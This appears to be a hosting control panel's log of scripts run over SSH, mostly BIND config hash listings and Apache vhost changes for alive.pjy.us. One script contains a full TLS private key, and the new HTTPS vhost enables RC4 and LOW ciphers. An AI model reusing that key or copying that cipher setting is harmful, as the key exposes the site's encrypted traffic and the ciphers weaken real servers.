MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= da429f1b684d9c3bb05c418a195ceb7e
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 898dd73f80b3ba91e6ebefdd0f36a0d5
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= 90d11419a458de092b42a669de715701
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= f90b48a7c1061822ec2b4beef20285a3
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 8aba258068c8c60a7ade3952a285f57d
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d
2025-09-04 14:50:22: Establishing a connection
2025-09-04 14:50:23:
PUT: /tmp/pkp733396
#!/bin/bash
temp_file=$(mktemp)
TARGET=8a5e228d3edd858af7f7a80f223fd335.crt
cat > $temp_file <<'endmsg'
8a:5e:22:8d:3e:dd:85:8a:f7:f7:a8:0f:22:3f:d3:35
-----BEGIN CERTIFICATE-----
MIIDUzCCAjugAwIBAgIUEHbl85iSlRqx/i6eT3+NuYjKK+QwDQYJKoZIhvcNAQEL
BQAwOzEaMBgGA1UECgwRVGhlWW91bmdEZXNpZ25lcnMxHTAbBgNVBAMMFFRoZVlv
dW5nRGVzaWduZXJzIENBMB4XDTI1MDkwNDE0NTAyMloXDTI2MDkwNDE0NTAyMlow
FzEVMBMGA1UEAwwMYWxpdmUucGp5LnVzMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8A
MIIBCgKCAQEAwLtar5ay++lKWn3C/FCoUHrJjeacNJJuCCcfWv0O4kuROazCrdXO
qpAWEyEtVKF58b4oXbgh4GrWawzDkcfBOGI84DVjnp55szkIlftjbWSth8BVIAYX
MvraLkRIo4zvhtUuTydiqBYHVkdxSyBHSkMGASlsDiaZoffQYLyEh/tgWtMDfGpB
C05iWnlvHmXe1C8lUTKhN7VUt/gH9QfUKf38adzNDy1v6ygod0FOfNTn3vpiPXDX
YlDzDjrv8YyHt3pILkcHPVcyVXOG64qpjHV1VjgfiKTVYveiaKratoznKv+b+7ly
Cwc24GRPEYaBD5Sg63VO0605GrT9RMciWwIDAQABo3MwcTAdBgNVHQ4EFgQUBIKB
S1R85rYXOoaUEQ1PAybvgWwwHwYDVR0jBBgwFoAUhZtuDP3NJLXh9dCkAziCV0sw
c/wwCwYDVR0PBAQDAgWgMAkGA1UdEwQCMAAwFwYDVR0RBBAwDoIMYWxpdmUucGp5
LnVzMA0GCSqGSIb3DQEBCwUAA4IBAQC+yMiqagwcYbGhfrEp0ZPNPSga8VgjMmNd
RSktCvEBmUI8i56hnKZLew9xQgoRn8UndUllQDQQnqejacsQkXVbuTtyoiI5AMz3
3plrAQ/7OPNGchNehJqDb+87ZOUxSeq/Yj5kXjAl4724plrOGjSHH1OzdqzdFMF4
WYDd0mkkyVNqyd8P6ztDnoHic6YsoNSXqjlmiVSLGF0W6mxLWV3nziQDftia+aWa
n/D1qTxtbaf7gM1ei02R8Nv0U5+BG/94tLWCAoRHZfWVuMToMP7V2/uE6zzExO/8
sfPtcIlZaYbmO9ZPxE3KnUS5Kav9Gdzfm4RS23rtJPLQUhQbh2JN
-----END CERTIFICATE-----
-----BEGIN PRIVATE KEY-----
MIIEvwIBADANBgkqhkiG9w0BAQEFAASCBKkwggSlAgEAAoIBAQDAu1qvlrL76Upa
fcL8UKhQesmN5pw0km4IJx9a/Q7iS5E5rMKt1c6qkBYTIS1UoXnxvihduCHgatZr
DMORx8E4YjzgNWOennmzOQiV+2NtZK2HwFUgBhcy+touREijjO+G1S5PJ2KoFgdW
R3FLIEdKQwYBKWwOJpmh99BgvISH+2Ba0wN8akELTmJaeW8eZd7ULyVRMqE3tVS3
+Af1B9Qp/fxp3M0PLW/rKCh3QU581Ofe+mI9cNdiUPMOOu/xjIe3ekguRwc9VzJV
c4briqmMdXVWOB+IpNVi96Joqtq2jOcq/5v7uXILBzbgZE8RhoEPlKDrdU7TrTka
tP1ExyJbAgMBAAECggEBALWNB10WQV4poV/izdVuiU7ei5S/InAna70EVXYZoXas
Jo5E3lJwcLCc8B5vB0uMnNmK/m1iMY88NOU8bdGacLoTWDMAN+pIcG3SkPLvjvaS
eyDAna9/7USZpwMkUaS28z94+5mWiUm7DohI3kEdk+oxfquDgIVH+TrovQMTMmkA
TcJMAeW/fRg44e2Hx5EC02XYynfrZw5+O46oeKzzy4z24jTVht6oH/idsYSY6aAx
7oQZ67mhI4YSzk4V75fjqWcQh0aYGRYvwdTica/m6cfvpAFQwGyyUjPGE6h+wETV
QOcGKiN6zvnB38DzWorU0+d/PV290l/AdLICkT7VPCECgYEA/ffJ/WSjpZzIUDpF
+bDST9TMJ9G4yZnyggU68oTDy+wNLn4sRsc0bMCSR/pgF9NNaT5AqGA9Y7ZdSU0C
OXIFZFIjVD9jFYmYzYvqRnDbYp/w+qW2u8YO4H71972ui+KGYi3w56Hs/uF7vL53
PD+nnGlMAF/jrEhBjyVVMn+y7MsCgYEAwkYiIbDH/im91wQmQDncTr2mydOQfN+L
QZyoMfVKr4b5xNpWI5ANOJcP1Rufw6wW8+9u6kVhaOKVfistrxBRsZOq4b2niAiG
WaeaIpV2QZ3eTWlGAUwzecgG9dVzaGtpv5GOgLEkWMUde3TAwD2TtZyOCC5WKnPB
d3t0ThVg/rECgYAPqdqxYCWfrz3DhPSP49H0zoEQ66Rj+rS0RDJQhtO0nghqF6oP
a3XWR0I+YjjO/19E4GwIdncS0UqLnM5IULn4aAB5z7cCuwvLkZePZKKDQK4SJ2pP
xnVgbzQoZXCAfCYhpAe5oYkGZ03EZFLiSmLCCNSBKWjXVVWFyJ2qkamtZQKBgQC4
Lu+rC0QAZiiSUl/FYlXI3Srki8yfZvxKfzBC9PASy5+/DtS9sJOoRCeBfkgQpfW4
3RZFyvNYEgFy9ZLBN3KMLZjDnh/X62UcWLbb9OGBwh8BOz5gepMO8SIQLYbVx4gh
U+lLfyYbdv3FjuIzH+4LL1rEzNFqPAZ+ta+FW+VycQKBgQDAxB62TovPg2ExWZ47
h5IY91bctujddmrfxfEf5o6WRAu7RSXfqogpuHSPTEgtxdfan0FO41Kq3hZ6KjdU
Y5v8f0pw1tp4fnySJMyg5C5fzFZpBH56pOaMBktgpbqxMq4V0mKt8/W46REJ1b9G
VxvQOTcNO2zELxDDT6B9kw6K1A==
-----END PRIVATE KEY-----
endmsg
chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
cp $temp_file /etc/pki/tls/certs/$TARGET
echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
cp $temp_file /etc/ssl/certs/$TARGET
echo dir=/etc/ssl/certs
else
echo dir=
fi
rm $temp_file
2025-09-04 14:50:24:
chmod 755 /tmp/pkp733396; /tmp/pkp733396; rm /tmp/pkp733396
2025-09-04 14:50:24:
dir=/etc/ssl/certs
2025-09-04 14:50:24:
PUT: /tmp/pkp166395
#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)
show_file() {
echo $BOUNDARY >> $temp_file
if [ -f "$1" ]; then
FILESIZE=$(stat -c%s "$1")
echo $1 $FILESIZE >> $temp_file
cat $1 >> $temp_file
else
echo $1 0 >> $temp_file
fi
echo >> $temp_file
}
show_file "/etc/apache2/sites-enabled/pjy_alive_us.conf"
gzip -cn9 $temp_file
rm $temp_file
2025-09-04 14:50:24:
chmod 755 /tmp/pkp166395; /tmp/pkp166395; rm /tmp/pkp166395
2025-09-04 14:50:24:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/pjy_alive_us.conf 36
<VirtualHost *:80>
ServerName alive.pjy.us
ServerAdmin do_not_email@example.com
DocumentRoot /var/www/pjy_alive
<Directory /var/www/pjy_alive>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/pjy/alive_access.log combined
ErrorLog /var/log/apache2/pjy/alive_error.log
SetEnv pkp_uid 4
SetEnv pkp_owner phil
</VirtualHost>
2025-09-04 14:50:24:
PUT: /tmp/pkp250324
#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=pjy_alive_us.conf
TARGET=/etc/apache2/sites-enabled/pjy_alive_us.conf
DOCROOT=/var/www/pjy_alive
PUBLIC=
cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
<VirtualHost *:80>
ServerName alive.pjy.us
ServerAdmin do_not_email@example.com
DocumentRoot /var/www/pjy_alive
<Directory /var/www/pjy_alive>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/pjy/alive_access.log combined
ErrorLog /var/log/apache2/pjy/alive_error.log
SetEnv pkp_uid 4
SetEnv pkp_owner phil
</VirtualHost>
<VirtualHost *:443>
ServerName alive.pjy.us
ServerAdmin do_not_email@example.com
SSLEngine on
SSLProtocol all -SSLv2
SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
SSLCertificateFile /etc/ssl/certs/8a5e228d3edd858af7f7a80f223fd335.crt
DocumentRoot /var/www/pjy_alive
<Directory /var/www/pjy_alive>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/pjy/alive_secure_access.log combined
ErrorLog /var/log/apache2/pjy/alive_secure_error.log
SetEnv pkp_uid 4
SetEnv pkp_owner phil
</VirtualHost>
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 644 $temp_file
cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
mkdir -p /var/log/apache2/pjy
mkdir -p $DOCROOT/$PUBLIC
chown -R phil:phil $DOCROOT
ln -s "..//etc/apache2/sites-enabled/pjy_alive_us.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
echo 'link(/etc/apache2/sites-enabled/pjy_alive_us.conf)= /etc/apache2//etc/apache2/sites-enabled/pjy_alive_us.conf'
echo 'file(/etc/apache2//etc/apache2/sites-enabled/pjy_alive_us.conf= 1'
fi
2025-09-04 14:50:25:
chmod 755 /tmp/pkp250324; /tmp/pkp250324; rm /tmp/pkp250324
2025-09-04 14:50:25:
link(/etc/apache2/sites-enabled/pjy_alive_us.conf)= /etc/apache2//etc/apache2/sites-enabled/pjy_alive_us.conf
file(/etc/apache2//etc/apache2/sites-enabled/pjy_alive_us.conf= 1
2025-09-04 14:50:25:
PUT: /tmp/pkp324783
#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
/usr/sbin/apachectl graceful
fi
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
export HOMEBREW_NO_INSTALL_FROM_API=1
brew services restart httpd
fi
echo .
2025-09-04 14:50:25:
chmod 755 /tmp/pkp324783; /tmp/pkp324783; rm /tmp/pkp324783
2025-09-04 14:50:26:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
.
STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
2025-09-04 14:50:26: Establishing a connection
2025-09-04 14:50:26:
PUT: /tmp/pkp511625
#!/usr/bin/php
<?php
// What files are being used by Bind, and what are their contents?
// php's token_get_all() makes this fairly quick
$directory = '/etc/bind';
ob_start('ob_gzhandler');
parseFile('named.conf');
ob_end_flush();
function parseFile($filename, $parse = TRUE) {
global $directory;
if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
$hash = md5_file($filename);
echo "MD5({$filename})= {$hash}\n";
if ($parse) {
$content = "<?php\n" . file_get_contents($filename);
$tokens = token_get_all($content);
$i = 0;
parseGroup($tokens, $i);
}
}
function unQuote($value) {
$ch = $value[0];
if ($ch == '"' || $ch == "'") {
if (substr($value, -1) == $ch) {
$value = substr($value, 1, -1);
}
}
return $value;
}
function addEntry(&$current) {
global $directory;
if (count($current)) {
switch($current[0]) {
case 'include':
$filename = unQuote($current[1]);
parseFile($filename);
break;
case 'directory':
$directory = unQuote($current[1]);
break;
case 'file':
$filename = unQuote($current[1]);
parseFile($filename, FALSE); // Resource File - do not parse
break;
}
}
$current = [];
}
function ParseGroup($tokens, &$i) {
$current = [];
$c = count($tokens);
while ($i < $c) {
$token = $tokens[$i];
if (is_array($token)) {
$token_name = $token[0];
$token_data = $token[1]; // [2] = line number
} else {
$token_name = -1;
$token_data = $token;
}
switch ($token_name) {
case -1:
if ($token_data == ';') { // end of statement
$i++;
addEntry($current);
} elseif ($token_data == '{') { // group
$i++;
ParseGroup($tokens, $i);
} elseif ($token_data == '}') { // end of group
addEntry($current);
return;
}
case T_OPEN_TAG:
case T_WHITESPACE:
case T_COMMENT:
break;
case T_DNUMBER: // 127.0 / .0 / .1
case T_LNUMBER:
case T_CONSTANT_ENCAPSED_STRING:
case T_STRING:
case T_INCLUDE:
$current[] = $token_data;
break;
}
$i++;
}
addEntry($current);
}
2025-09-04 14:50:26:
runuser -l bind -s /bin/bash -c '/tmp/pkp511625; rm /tmp/pkp511625'
2025-09-04 14:50:26:
MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 3c9f578a7815e351234f218aeab7cca5
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
